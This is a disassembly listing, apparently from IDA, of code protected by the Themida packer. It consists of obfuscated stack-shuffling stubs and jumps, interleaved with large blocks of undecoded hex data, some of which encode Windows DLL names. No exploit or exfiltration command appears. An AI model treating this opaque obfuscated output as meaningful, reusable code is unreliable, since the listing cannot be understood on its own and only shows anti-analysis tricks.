loc_5144BC:				; CODE XREF: Themida_:00510D4Aj
		add	esi, 4
		jmp	loc_500A01
; ---------------------------------------------------------------------------
		dd 3DA8EF81h, 0C581ACE3h, 1B7E546Bh, 0ED81FD01h, 1B7E546Bh
		dd 81C5295Fh, 5D7CCCEDh, 29ED8136h, 8B78157Eh, 0C4812404h
		dd 4, 2C8BEF29h, 4C48124h, 81000000h, 0B34F66EEh, 81FE0149h
		dd 0B34F66C6h, 0BE95F49h, 2CFFFFD7h, 148B6615h,	2C48324h
		dd 5266C800h, 0D02838B2h, 0FEC70BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_514525:				; CODE XREF: Themida_:005093FBj
		pop	ecx
		jmp	loc_501255
; ---------------------------------------------------------------------------
		db 28h
		dd 9FC180F1h, 0E7E9805Ah, 80E5E980h, 0CF88C5F1h, 0FFA23EE9h
		dd 242489FFh, 4240483h,	4C18159h, 81000000h, 4C1h, 0EF71E900h
		dd 48FFFFFh, 0E569E924h, 8966FFFEh, 50662414h, 0B2A8E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_51456E:				; CODE XREF: Themida_:005141BDj
		mov	ebx, esp
		push	ecx
		jmp	loc_506E78
; ---------------------------------------------------------------------------

loc_514576:				; CODE XREF: Themida_:0050EDBFj
		push	eax
		jmp	loc_513353
; ---------------------------------------------------------------------------

loc_51457C:				; CODE XREF: Themida_:0050C0C3j
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		push	4C08004Fh
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	eax, 0B3F7FFB1h
		push	544Ch
		jmp	loc_50C21D
; ---------------------------------------------------------------------------
		db 0BAh
		dd 66D0525h, 0FF0E93E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5145C5:				; CODE XREF: Themida_:0050AF1Cj
		or	ebp, 0D353E8Ch
		not	ebp
		sub	ebp, 7B277959h
		sub	ebp, 62673515h
		and	ebp, 6FF628AFh
		jmp	loc_501A13
; ---------------------------------------------------------------------------
		dd 5D0015Dh, 62D149B8h,	0E9C5015Ah, 0FFFF5309h,	0FEB21DE9h
		dd 24048FFFh, 5E8015Ch,	71CB1EDBh, 0E92434FFh, 0FFFF26BCh
		dd 0E9028F64h, 0FFFEB202h, 0E9F98959h, 0FFFF8132h, 344271BBh
		dd 0FDBF5708h, 0C103ED12h, 0E7C108E7h, 5BF78105h, 29EBB9DCh
		dd 577FE9FAh, 0D2B9FFFFh, 9542922h, 0F4D8E9CBh,	0DF87FFFFh
		dd 0FF23BDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51464D:				; CODE XREF: Themida_:005149E1j
		pop	eax
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_508522
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aH@		db '$h:@',0
		align 2
		dw 0C89h
		dd 3C43E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51466E:				; CODE XREF: Themida_:005080CAj
		push	63FFh
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_510578
; ---------------------------------------------------------------------------

loc_51467D:				; CODE XREF: Themida_:0050E452j
		mov	ebx, 2000h
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_50559B
; ---------------------------------------------------------------------------

loc_51468D:				; CODE XREF: Themida_:0051061Ej
		shr	ebp, 6
		jmp	loc_502289
; ---------------------------------------------------------------------------
		dd offset aTrTdColspan3AH+48h
		align 2
		dw 1C89h
		dd 81E38924h, 4C3h, 4C38100h, 87000000h, 248B241Ch, 0EBBA5224h
		dd 100A15Ah, 0EE815AD6h, 33282F46h, 0C681C601h,	33282F46h
		dd 5AEBEE81h, 0C68100A1h, 63DB2085h, 232FBB53h,	0EE810F37h
		dd 26F0AB2h, 0C681DE29h, 26F0AB2h, 76EE815Bh, 570F9966h
		dd 0FEB9F0E9h, 242489FFh, 4240483h, 0FFC952E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_514701:				; CODE XREF: Themida_:00513428j
		push	ecx
		jmp	loc_50C070
; ---------------------------------------------------------------------------
aYaS		db 'Y',0
		dd 7D6866F3h, 4896615h,	28E9B424h, 665866E3h, 8324148Bh
		dd 0C6E902C4h, 29FFFEE7h, 51A3E9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51472E:				; CODE XREF: Themida_:0050E41Aj
		shl	edx, 5
		jmp	loc_501446
; ---------------------------------------------------------------------------

loc_514736:				; CODE XREF: Themida_:0050C266j
		add	ebx, esi
		pop	esi
		mov	[ebx], al
		pop	ebx
		jmp	loc_4FF816
; ---------------------------------------------------------------------------

loc_514741:				; CODE XREF: Themida_:00511E1Aj
		pop	esp
		mov	[esp], edx
		mov	edx, 2C46010Ch
		push	edi
		push	esi
		mov	esi, 7210380Dh
		and	esi, 6FF83D45h
		neg	esi
		jmp	loc_505BA5
; ---------------------------------------------------------------------------
		dw 8158h
		dd 0A860C4C7h, 21BB5341h, 43302967h, 0FF58BEE9h, 24048BFFh
		dd 0FF04C483h, 815A2434h, 4C4h,	0B090E900h, 0F180FFFEh
		dd 52C9FE7Bh, 0B5514DB2h, 80D5F60Ch, 0EA08DBF5h, 75F28059h
		dd 805AD100h, 0C1FEDBC1h, 301AB252h, 0A3045AD1h, 0FEC51AE9h
		dd 0FF515DFFh, 59042474h, 0E924048Fh, 0FFFFB664h, 0EA81FA01h
		dd 5A84ED3h, 3EC281h, 3C8B1BC3h, 0F8F4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5147D6:				; CODE XREF: Themida_:0050F1C7j
		add	ebp, 64240988h
		add	ebp, esi
		jmp	loc_4FF97A
; ---------------------------------------------------------------------------

loc_5147E3:				; CODE XREF: Themida_:004FFDDAj
		mov	edx, edi
		pop	edi
		xor	[esp+4], edx
		pop	edx
		pop	eax
		push	edi
		push	eax
		jmp	loc_503E16
; ---------------------------------------------------------------------------

loc_5147F3:				; CODE XREF: Themida_:00513713j
		pop	ebp
		push	edx
		jmp	loc_50747F
; ---------------------------------------------------------------------------
		dw 0E5C0h
		dd 0FED5F604h, 0BBF580C5h, 0CCC680h, 72E9E9EEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51480E:				; CODE XREF: Themida_:0050E4C1j
		mov	esp, [esp]
		push	eax
		jmp	loc_503B24
; ---------------------------------------------------------------------------

loc_514817:				; CODE XREF: Themida_:00511E81j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		movsx	ecx, al
		sub	esp, 4
		jmp	loc_510B30
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FFA99EE9h, 4EC81FFh, 0E9000000h, 0FFFEBAD0h, 61F768h
		dd 242C8900h, 2B850h, 81500000h, 50732434h, 815D0E3Ah
		dd 3A5073F5h, 0EB01580Eh, 0FF7201E9h, 7E6C0FFh,	0B1E9DEF6h
		dd 42FFFF88h, 5722E281h, 0C2816BBEh, 0B6F27596h, 2D5AD029h
		dd 1A76094Fh, 0FF792DE9h, 6C815DFFh, 54CC0424h,	5C0136BEh
		dd 0A4E90424h
		db 0CFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5148B3:				; CODE XREF: Themida_:005115E0j
		pop	edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	424Bh
		mov	[esp], esi
		jmp	loc_50EFD4
; ---------------------------------------------------------------------------

loc_5148CB:				; CODE XREF: Themida_:00510F3Aj
		add	edi, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_500426
; ---------------------------------------------------------------------------
		dd 749FF281h, 7FE97281h, 58FFFF12h, 0FF9BB8E9h,	24048BFFh
		dd 0F704C483h, 0B5C681DEh, 31F38662h, 0C5095EF0h, 7DED8158h
		dd 13FEB3Dh, 0C335DE9h,	240C3124h, 5C240C33h, 9C240420h
		dd 0FEAEF9E9h, 0CB814BFFh, 20F15C8Bh, 0FF12A8E9h, 0C1B753FFh
		dd 5BF988h, 0BF8BE9CBh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_514936:				; CODE XREF: Themida_:0050ADDDj
		add	ebp, 779B4473h
		push	esi
		mov	esi, 472C17D4h
		push	2B06h
		jmp	loc_508C2C
; ---------------------------------------------------------------------------

loc_51494C:				; CODE XREF: Themida_:0050CE52j
		and	edi, edx
		pop	edx
		add	edi, 657D27C8h
		push	edx
		jmp	loc_503B3A
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0DDF708EDh, 0FF1CB9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_514965:				; CODE XREF: Themida_:00510C8Fj
		mov	ebx, [esp]
		jmp	loc_506984
; ---------------------------------------------------------------------------
		db 5Dh,	0F7h, 0DEh
		dd 0FF9B75E9h, 73C581FFh, 81442529h, 19226CC5h,	0EC815969h
		dd 4, 0E9243C89h, 0FFFF0153h, 4EC81h, 2C890000h, 4EC8124h
		dd 89000000h, 26E9243Ch, 5BFFFFA1h, 4A91BD55h, 0E9097D8Eh
		dd 5E9C15Dh, 808FC181h,	0CB01FC11h, 0C1D2E959h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5149C2:				; CODE XREF: Themida_:00505ACDj
		push	6ED5h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		jmp	loc_51464D
; ---------------------------------------------------------------------------

loc_5149E6:				; CODE XREF: Themida_:0050A980j
		pop	esp
		jmp	loc_50A55C
; ---------------------------------------------------------------------------

loc_5149EC:				; CODE XREF: Themida_:005126C6j
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		add	ecx, 273B5DE5h
		add	ecx, ebx
		push	ebp
		mov	ebp, 273B5DE5h
		sub	ecx, ebp
		pop	ebp
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		jmp	loc_504762
; ---------------------------------------------------------------------------

loc_514A1C:				; CODE XREF: Themida_:005054C2j
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 159C7D4Bh
		sub	ebx, 44717930h
		jmp	loc_501119
; ---------------------------------------------------------------------------
		dw 0CB29h
		dd 0E9240C8Bh, 0FFFFBB43h, 4EC81h, 14890000h, 2474FF24h
		dd 94E95A04h, 31FFFEECh, 0FE93E9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_514A5A:				; CODE XREF: Themida_:00514E13j
		mov	eax, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		jmp	loc_50333E
; ---------------------------------------------------------------------------
		db 9
		dd 0A3E95BDFh, 1FFFEF1h, 0CCC381FBh, 5F200E04h,	173ABA52h
		dd 0D2F77D57h, 0FF9242E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_514A89:				; CODE XREF: Themida_:0050B186j
					; Themida_:0050CCC8j
		push	5715h
		mov	[esp], ebx
		sub	dword ptr [esp], 2892138Eh
		jmp	loc_512ED7
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 5
		dd 50580D27h, 0B36054B8h, 5D0F71Bh, 48676408h, 0FFFFFF2Dh
		dd 3B3548FFh, 0E9071E07h, 0FFFFD565h, 0E99DF380h, 0FFFF2DDFh
		dd 4240483h, 0FF5F5FE9h, 3EFC1FFh, 4081E781h, 0EF814E41h
		dd 5416AF3h, 0FFB491E9h, 13B850FFh, 355F092Dh, 7805A54h
		dd 93D3F793h, 0D8309E2Dh, 270F2530h, 0D8F755A9h, 9E95052h
		dd 53FFFF69h, 0CB8072B3h, 80DBF6B4h, 0C38037F3h, 0E3B0E90Ah
		dd 0C381FFFFh, 9082A00Dh, 1C8BDD29h, 4C48324h, 5C242C87h
		dd 89241C89h, 4EC81E3h,	0E9000000h, 0FFFFBB63h,	30FD2DADh
		dd 53682CB7h, 8900006Fh, 0FFBF243Ch, 5027B361h,	0FFCDA3E9h
		dd 4BDFFh, 0ECE90000h
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_514B5F:				; CODE XREF: Themida_:00502377j
		sub	ebx, eax
		sub	ebx, 545A38EBh
		jmp	loc_508341
; ---------------------------------------------------------------------------
		dd 51241C8Bh, 0C181E189h, 4, 4C181h, 0C870000h,	24248B24h
		dd 24048B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_50DCE6
; ---------------------------------------------------------------------------
		dw 8358h
		dd 0C8702C1h, 8B665C24h, 2C682404h, 89000044h, 8B54242Ch
		dd 8952242Ch, 4C281E2h,	81000000h, 4C2h, 24148700h, 8BE565Ch
		dd 814D6044h, 7547A5E6h, 0FCEE8115h, 1056043h, 0EC835EF5h
		dd 241C8904h, 4BB7BD55h, 25BB09ABh, 295E8B50h, 814B5DEBh
		dd 164D93C3h, 4EC813Dh,	89000000h, 2BE2434h, 16E09AEh
		dd 2434FFF3h, 4C4815Eh,	1000000h, 2434FFDDh, 5954515Bh
		dd 4C181h, 0C1830000h, 0B95BE904h, 0CF21FFFEh, 0FFF4DFE9h
		dd 53D2B4FFh, 14E9E788h
		db 31h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_514C33:				; CODE XREF: Themida_:004FF82Aj
		mov	[esp], ecx
		jmp	loc_50DC74
; ---------------------------------------------------------------------------
		db 83h
		dd 0C38104C4h, 4D872BA1h, 0FECAD7E9h, 0E932FFFFh, 0FFFEABC6h
		dd 8324048Fh, 8B042404h, 0C483242Ch, 4C58104h, 56000000h
		dd 1EAD68h, 243C8900h, 0FF1A74E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_514C71:				; CODE XREF: Themida_:00513B19j
		pop	esp
		mov	[esp], ecx
		push	esi
		push	11A838DCh
		pop	esi
		jmp	loc_504F3C
; ---------------------------------------------------------------------------
		db 68h,	3Eh, 78h
		dd 94E90000h, 8FFFFF72h, 895C2404h, 18F2404h, 2434FF59h
		dd 0FF2434FFh, 0E9582434h, 0FFFFDEDCh, 5287E780h, 0B2E8B050h
		dd 8BC20019h, 3CE92404h, 5DFFFEDFh, 5C24048Fh, 0FEE027E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_514CC1:				; CODE XREF: Themida_:0050C5F5j
		add	esi, ebp
		pop	ebp
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_502BBC
; ---------------------------------------------------------------------------
		dd 0DC2BC6BEh, 0E9DEF705h, 0FFFF75A8h
; ---------------------------------------------------------------------------

loc_514CDC:				; CODE XREF: Themida_:005116B5j
		push	65747689h
		pop	ebp
		jmp	loc_50497C
; ---------------------------------------------------------------------------

loc_514CE7:				; CODE XREF: Themida_:00505489j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_4FFCDF
; ---------------------------------------------------------------------------
		dd 18E9E289h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_514D03:				; CODE XREF: Themida_:0050FD5Cj
		add	edi, 2B702D86h
		push	ecx
		mov	ecx, 51A9790Bh
		shl	ecx, 1
		and	ecx, 24A4108Fh
		and	ecx, 67F719BAh
		xor	ecx, 767018BCh
		sub	edi, ecx
		jmp	loc_5141C2
; ---------------------------------------------------------------------------

loc_514D2A:				; CODE XREF: Themida_:00502B52j
		dec	ebp
		add	ebp, 54018BFh
		xor	ebp, 6D54324Bh
		jmp	loc_512D8D
; ---------------------------------------------------------------------------
		dd 0C8B60F66h, 0E99C5166h, 0FFFEAACEh, 405h, 4C08300h
		dd 2474FF50h, 0BDE95804h
		db 0Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_514D5B:				; CODE XREF: Themida_:0050EA9Bj
		mov	ecx, 5A2C250Dh
		sub	ecx, 5A2C2509h
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_50B04D
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFEC6E2h, 0ED81DDF7h, 620B69E3h, 4211ED81h
		dd 0ED812CD2h, 232F3E49h, 0F581DDF7h, 29D1C48Bh, 535DEE89h
		dd 663858BBh, 67F7E900h, 0C181FFFFh, 4,	5C240C87h, 48BC389h
		dd 4C48124h, 0E9000000h, 0FFFF2307h, 0C6815E5Fh, 0E36635Dh
		dd 647EE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_514DEE:				; CODE XREF: Themida_:0050F6C1j
		push	esi
		jmp	loc_50FBDF
; ---------------------------------------------------------------------------

loc_514DF4:				; CODE XREF: Themida_:005117D6j
		xor	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		sub	ebp, 45E34328h
		add	ebp, eax
		add	ebp, 45E34328h
		jmp	loc_514A5A
; ---------------------------------------------------------------------------
aFrT		db 'fR',0
		db 0D0h, 66h, 5Ah
		dd 50241C8Bh, 0A6E9E089h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_514E2B:				; CODE XREF: Themida_:0050C87Dj
		push	edi
		mov	edi, 4
		jmp	loc_50EA8A
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC812404h, 4, 0FED60DE9h, 5FE181FFh, 81592023h, 334B74C1h
		dd 9E94978h, 0E8FFFEDFh, 11h, 5C492EE3h, 40982B1Eh, 0A524BB12h
		dd 7F973D3Eh, 0CE940h, 7F0C0000h, 0F0BD4FEFh, 0F3EE6784h
		dd 958889Ah, 312E9B5h, 0B5C08106h, 80000073h, 0BAE3D9h
		dd 33000000h, 32381B5h,	103C8B06h, 6840Fh, 0B58B0000h
		dd 60314BDh, 244EF81h, 95890592h, 6031FF1h, 0C84DF781h
		dd 8B6628BFh, 1CC781F1h, 0F29C01Ch, 0C88h, 6860F00h, 8B000000h
		dd 324259Dh, 53B15706h,	0BE10048Fh, 266C0FF6h, 264D8D8Bh
		dd 0EA810603h, 1E9DECh,	0FB87E381h, 0C2812A75h,	1E9DE8h
		dd 1395B58Bh, 0FA810603h, 0FFFF8D38h, 26850Fh, 0DE90000h
		dd 2E000000h, 24427D70h, 0E4B11E02h, 0BEAAC7BDh, 2CE9h
		dd 78CE500h, 0E38ED0CCh, 34164AF0h, 2285473Ch, 2AB1BD89h
		dd 5EE90603h, 3FFFFFFFh, 167A5511h, 1B6C9624h, 0E7D104CCh
		dd 0E5F642h, 5536EBB1h,	33524553h, 6C642E32h, 4441006Ch
		dd 49504156h, 642E3233h, 4E006C6Ch, 4C4C4454h, 6C6C642Eh
		dd 707D700h, 1A000400h,	0D001100h, 19001A00h, 0F35D0501h
		dd 7FDE973h, 0EA680000h, 0E906059Fh, 0FFFDDF19h, 5A04F68h
		dd 0DF0FE906h, 8568FFFDh, 0E90605A1h, 0FFFDDF05h, 5A2F068h
		dd 0DEFBE906h, 4368FFFDh, 0E90605A3h, 0FFFDDEF1h, 5A43768h
		dd 0DEE7E906h, 0A668FFFDh, 0E90605A4h, 0FFFDDEDDh, 0DB471099h
		dd 0FA6637BDh, 178354DCh, 3AA66FF9h, 5AC6971Ch,	68B4F9Bh
		dd 20ABC935h, 41CDEB57h, 67EE0C78h, 79252A96h, 14DA40AEh
		dd 0F2230D0h, 53CA8113h, 982B99CDh, 2474C897h, 579CC9Dh
		dd 1473D13Ah, 1C4C59DCh, 0C95462h, 4B0E0601h, 0A9E84C38h
		dd 0B226F22Bh, 0C903ACE7h, 3A394603h, 0D321EC1Eh, 0A333F10Bh
		dd 326B9E96h, 0C42B3C45h, 6C55FFE8h, 0F138115Fh, 81D4E133h
		dd 308420Dh, 93A039F4h,	0F0BBED1Fh, 3DF2F082h, 676D6572h
		dd 85A30FE0h, 0D7A830FEh, 338ADDD8h, 0B49D8F81h, 8ADEE5E6h
		dd 40000006h, 6482EEB7h, 83A10DDEh, 0A0BE2AFBh,	0C3E14D16h
		dd 42016D3Eh, 0DCAD32F6h, 0FEC75270h, 1FE87492h, 3D0E95B3h
		dd 5520CCD1h, 0D014DA1Fh, 56B6C9D7h, 0E3FFFECFh, 3E65D1DAh
		dd 0C4BC775Bh, 188C1491h, 16F8E14Dh, 7B010FDCh,	0F906B2AAh
		dd 22EB7785h, 430C98B6h, 0F4C54C44h, 0BF92E19Dh, 52595ACEh
		dd 625h, 0E7531CA5h, 67243C9h, 238F60E8h, 46B27B05h, 66D2A328h
		dd 12975BA7h, 2CB7D541h, 4DD9F763h, 73FA1884h, 853136A2h
		dd 14E5B4BAh, 1B2E3CD0h, 3F350032h, 0B7D61145h,	25ACB2AAh
		dd 8106CC57h, 635E5DB0h, 0C3F51110h, 1145FAF8h,	756D7AD6h
		dd 0A317E86Fh, 42410A95h, 0A29A4F47h, 524A491Ah, 25ACFCCDh
		dd 6E395554h, 0D6114500h, 50ABE3F0h, 582DA853h,	0E706CD5Bh
		dd 500D5C39h, 5C000000h, 7701CF56h, 9D25EAEh, 50BC0F0Ah
		dd 455F996Dh, 36BDD611h, 77AEF965h, 0FA0335A9h,	60522645h
		dd 5122AA60h, 0C045752h, 141D0C49h, 14A0AADCh, 5A594C4Bh
		dd 0F589B9E2h, 66DA2D80h, 8F03CC58h, 3028F981h,	9B64F00Eh
		dd 557959Ch, 56980000h,	0AE7701CFh, 0DF64B4AFh,	0A0BCBB0Eh
		dd 0E89DE997h, 5FD040Eh, 59CDABD2h, 0C58E1927h,	10D3CBC6h
		dd 0DC14B887h, 1836A2AFh, 954C091h, 5E90049Ch, 0BA13612Ch
		dd 0D6E3D012h, 1BEC1BDEh, 5C66DA15h, 3FB306D7h,	70DCA531h
		dd 11DCC652h, 0DA18DBE3h, 0EAE0B139h, 938B8ADDh, 1EE43B0Ch
		dd 0ABD4C377h, 4EFA3AAh, 52DB0000h, 79FF1D89h, 961E3CA8h
		dd 0B13B59C5h, 0D95E7CE8h, 91DD9C08h, 0B7748CDh, 2D9962EDh
		dd 4EBA830Fh, 6CD8A930h, 82F0BB67h, 72D014E4h, 0CF565164h
		dd 0AF4DE006h, 0FA80A77Ah, 0B48BD629h, 8DAE8340h, 271F1E71h
		dd 0ADD0CFA0h, 6676DBD8h, 81D61117h, 0A879FF0Dh, 0CAB6AEA9h
		dd 5C39B100h, 0FFFEF409h, 243258FFh, 0D1D7CF98h, 26F47C4Ah
		dd 8180D39Ch, 18343386h, 0BDB57E0Ah, 1185138Ah,	7E47D1DFh
		dd 6444C386h, 0D1DEDC14h, 89152365h, 0CEC6C1C0h, 0AA75629Bh
		dd 0D0126544h, 58CC1F2Ch, 17429A8Dh, 830816DAh,	0C0B8B3B2h
		dd 0EC080714h, 938B54DEh, 1778A7D0h, 0A6A31CDAh, 3FDAD318h
		dd 17D5A50h, 414A0000h,	0F33F31D0h, 531E1639h, 67512932h
		dd 668CE160h, 0DC6F256Eh, 3163D7A1h, 11020866h,	0E3DBE8D6h
		dd 0F37987B9h, 0A42B2322h, 86D9D4D3h, 0EAE2AB36h, 14272C27h
		dd 0C53946DCh, 871088BCh, 665EE8ABh, 51DA2D80h,	0E416A9E8h
		dd 0CC15DB19h, 9919B09h, 0EB3E3938h, 0BE45C0F3h, 9E126536h
		dd 0C918B8D3h, 0EE2D3203h, 0ACFEDA9h, 4D7FF346h, 0F1866C82h
		dd 68D3AF33h, 846F83DEh, 0D489818Eh, 36AA76AFh,	0F45F216Bh
		dd 33BFC939h, 95A3176Ah, 0BBC93D0Eh, 69646334h,	0AA314F71h
		dd 33B282D9h, 5253B49Dh, 3844Bh, 0F4BD4600h, 13E46A88h
		dd 300189A7h, 531CA6C4h, 7344C9E7h, 38FC4807h, 5876E2B3h
		dd 7A9804CDh, 9BB925EEh, 0D2D74314h, 0E7155B26h, 0CFDDD014h
		dd 24FC29BCh, 0E4A1E5B0h, 303DDC16h, 5922AEBCh,	7A43CFEDh
		dd 2BFC837Bh, 0BF77FAD4h, 0A7AEAFCEh, 331h, 0DB471099h
		dd 0FA6637BDh, 178354DCh, 3AA66FF9h, 5AC6971Ch,	68B4F9Bh
		dd 20ABC935h, 41CDEB57h, 67EE0C78h, 79252A96h, 14E640AEh
		dd 0F2230D0h, 0FFFECF56h, 0B0AF8007h, 56BBB88Dh, 0D6114706h
		dd 0ECE86569h, 0D225642Eh, 39C5569Ch, 0FD47DF5Ch, 562EFFFFh
		dd 0DAFFFECFh, 5361D5A3h, 500FFC8h, 63622BB5h, 14467068h
		dd 41BC760Bh, 4F4795C0h, 1459BF8Ch, 3C0739DCh, 0D0121836h
		dd 0DB9B1BEh, 32B19400h, 0CCCB9C24h, 2CF581D1h,	0F13A322Dh
		dd 0B048B59Eh, 60E6713Ch, 8390DC14h, 18B9953h, 0B8D66B40h
		dd 0C71A21EDh, 10880CCFh, 0E01D782Bh, 4072A418h, 0A5E7F75h
		dd 0DDEAF778h, 780A5E97h, 305A525Fh, 0F532A65h,	0B8B7C472h
		dd 1A8E6A93h, 0A60054Fh, 2CA0AD68h, 54634523h, 0B6AEE269h
		dd 26F77E8Ch, 44159CBAh, 0DB8509EDh, 0CAD1D282h, 23Dh
		dd 0CF3B048Dh, 0EE5A2BB1h, 0B7748D0h, 2E9A63EDh, 4EBA8B10h
		dd 0FA7F438Fh, 149FBD29h, 35C1DF4Bh, 5BE2006Ch,	6D191E8Ah
		dd 14E14CA2h, 31624D0h,	0CD9E2432h, 2928F17Dh, 9A03362Eh
		dd 91BF8AFEh, 21DC16E4h, 3C6EA014h, 14DA0371h, 44AA75D0h
		dd 2CD014DAh, 241C291Fh, 5DC9921Eh, 0EBEAB33Fh,	449B6CF3h
		dd 0CEBF7856h, 0CE2B3233h, 0FC000001h, 203EAA73h, 3F5DC99Ah
		dd 5C7AE6B7h, 7F9D09D2h, 0FEBD29FAh, 9869EEB2h,	0BA830E2Ch
		dd 0DBA4304Eh, 0F9CA516Fh, 11DC888Dh, 0D014E1E3h, 29728593h
		dd 0AA572CFCh, 0E0297B64h, 4E198Dh, 0B0DC1607h,	9A212FA3h
		dd 0E6125DC9h, 0E7D39E12h, 5FD017C7h, 0DC65735Ah, 0BC0FAA38h
		dd 0E7B03A48h, 0BD423AEFh, 0A5EFEDECh, 4D545720h, 0FEF70BBBh
		dd 84F43FABh, 0C7B580F4h, 3FD017F8h, 0F8284611h, 7F4AD017h
		dd 0D017F871h, 0F1FEF401h, 20A79F9Eh, 852504Fh,	2644B081h
		dd 515ACE9Fh, 803CAEF5h, 48138750h, 0D0175E2Ah,	10C5BDCAh
		dd 723E83D5h, 5E7F7540h, 0EAF7D017h, 721A17F2h,	90AE1AEBh
		dd 0B6C43809h, 6863622Bh, 3EC3BB70h, 1C06E6Dh, 4D55C04h
		dd 24F57A98h, 2A6EEA25h, 0DED6D59Eh, 0AC8C8B54h, 82A95451h
		dd 2E3C0805h, 0DFDAD9A2h, 8B5CE1E7h, 0AB7C011Fh, 5F28B4ACh
		dd 66634260h, 0FC6839BEh, 878657DEh
		dd 82B7DED2h, 3A371688h, 0C63A0B92h, 0B898B94h,	54915788h
		dd 687F2947h, 0A7037468h, 64FFA710h, 4769616Eh,	0D2D1A229h
		dd 551EA8B6h, 1D2575Dh,	0CAC72202h, 5ECA9B22h, 0E9E8B940h
		dd 3AC259C4h, 1C6F6A69h, 35DA9FA8h, 0FBD814C5h,	790ED903h
		dd 0F9626D6Dh, 46C939F4h, 89DCB02Bh, 0DA18E315h, 9A126D7Fh
		dd 2873958Dh, 0E4AF23FDh, 186ADE9Eh, 175D2856h,	0DF1C909Ch
		dd 88807FD2h, 82C43001h, 231BEC74h, 0C6C5961Dh,	49129CAAh
		dd 94574F4Ah, 8689E6ECh, 0BBBA830Eh, 6E6D3EC3h,	590401C0h
		dd 21C9C621h, 3F5DC99Ah, 0F0E8E7B8h, 2FB4A566h,	709869A3h
		dd 21001E1Dh, 24F57C24h, 42139AB8h, 33C43h, 543F0000h
		dd 4CD563Dh, 0B5860D05h, 6932BEB6h, 1EE7726Ah, 0D1A2271Fh
		dd 8455DAD2h, 3A038D85h, 0EABB433Bh, 9C6DF3EBh,	0CC686F9Dh
		dd 89000007h, 0F268240Ch, 8900004Eh, 0F868242Ch, 8900006Bh
		dd 0BF57240Ch, 45AD0CF9h, 58924ABDh, 8BFD01C0h,	0C481243Ch
		dd 4, 240C8B54h, 8304C483h, 348904ECh, 89EE8924h, 0FF5E0871h
		dd 81592434h, 4C4h, 2434FF00h, 4C4835Dh, 0FDD730E9h, 9FCDAEFFh
		dd 0D8158E6Ah, 0B8666312h, 605A699h, 0E0FFC503h, 72791F39h
		dd 4B70A1E5h, 5A009159h, 7E578327h, 5CF7CA84h, 199FB9FCh
		dd 6857E449h, 3B01B6C2h, 7364F9C6h, 594B1BD0h, 3D6551F8h
		dd 7AF87352h, 44A3C42Bh, 155C26FCh, 796C0BA6h, 8B9452Eh
		dd 24DF5F6h, 575B4219h,	0EC45DB9h, 94CC08h, 73E9h, 0BD836000h
		dd 6030B41h, 5840F00h, 0E9000000h, 5Eh,	3E80006Ah, 8850F30h
		dd 6A000000h, 35E94600h, 80000000h, 850F333Eh, 8, 0E946106Ah
